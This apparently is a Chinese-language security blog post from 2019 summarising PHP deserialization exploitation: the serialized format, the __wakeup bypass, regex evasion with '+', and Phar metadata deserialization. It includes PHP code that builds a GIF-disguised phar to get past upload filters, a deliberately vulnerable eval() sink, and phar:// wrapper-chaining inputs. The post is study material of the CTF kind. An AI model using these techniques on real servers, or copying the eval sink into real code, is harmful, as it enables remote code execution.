PHP反序列化利用总结

Posted by CoCo1er on 2019-09-16
Words 1.4k and Reading Time 6 Minutes
Viewed Times

PHP反序列化利用总结

序列化

​ 来自PHP官方文档的解释,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

魔术方法

​ PHP 将所有以\(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以__ 为前缀。

详细参考官方文档

序列化结构分析

1、含义

eg:O:4:"user":2:{s:3:"age";i:20;s:4:"name";s:7:"coco1er";}

O代表对象;4代表对象名长度;2代表2个成员变量;

其他结构参照:

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Array a:size:{key definition;value definition;(repeated per element)}
Null N;
Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

2、结构实例

1
2
3
4
5
6
string(5) "i:34;"
string(13) "s:6:"uusama";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(52) "O:2:"CC":2:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;}"

3、public . protect . private下序列化对象的区别

  • public变量

    直接变量名反序列化出来

  • private变量

    \x00 + 类名+ \x00 + 变量名

  • protect变量

    \x00 + * + \x00 + 变量名

反序列化利用

__wakeup失效

当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行

适用版本:

PHP5 < 5.6.25
PHP7 < 7.0.10

参考CVE-2016-7124

使用+绕过正则

例:

1
preg_match('/[oc]:\d+:/i', $var) O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}=======>O:+4:"Demo":1{s:10:"Demofile";s:16:"f15g_1s_here.php";}

Phar反序列化

​ PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和fielsize()的文件系统函数。

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

phar文件有四部分构成:

  1. a stub

    可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前期内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。

  2. a manifest describing the contents

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。

  3. the file contents

    被压缩文件的内容

  4. [optional] a signature for verifying Phar integrity (phar file format only)

    签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。

phar://利用点

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

PS:php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
1
2
3
4
5
6
7
8
<?php
class Test{
function __destruct(){
echo "test";
}
}
file_get_contents("phar://./test.phar/test.txt");
?>

PS:系统文件操作的函数【如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数】一般都能使用伪协议流,Phar:// 也是ok的

md5_file、filesize

拓展

Bzip / Gzip

​ 如果 phar://不能出现在头几个字符怎么办?

1
demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

or

1
demo.php?filename=php://filter/read=convert.base64-encode/resource=phar://xxx

绕过文件上传

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

file_un.php

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

将生成的phar.phar改为phar.gif成功绕过上传,然后利用 file_exists,使用 phar://执行代码

Session反序列化

这个目前还没有刷到利用该知识点的题,后续遇上了再补上。可以参考

https://www.anquanke.com/post/id/159206#h2-10

参考:

PHP反序列化拓展操作总结

Phar的一些利用姿势

PHP反序列化利用的4个实例

PHP反序列化攻击面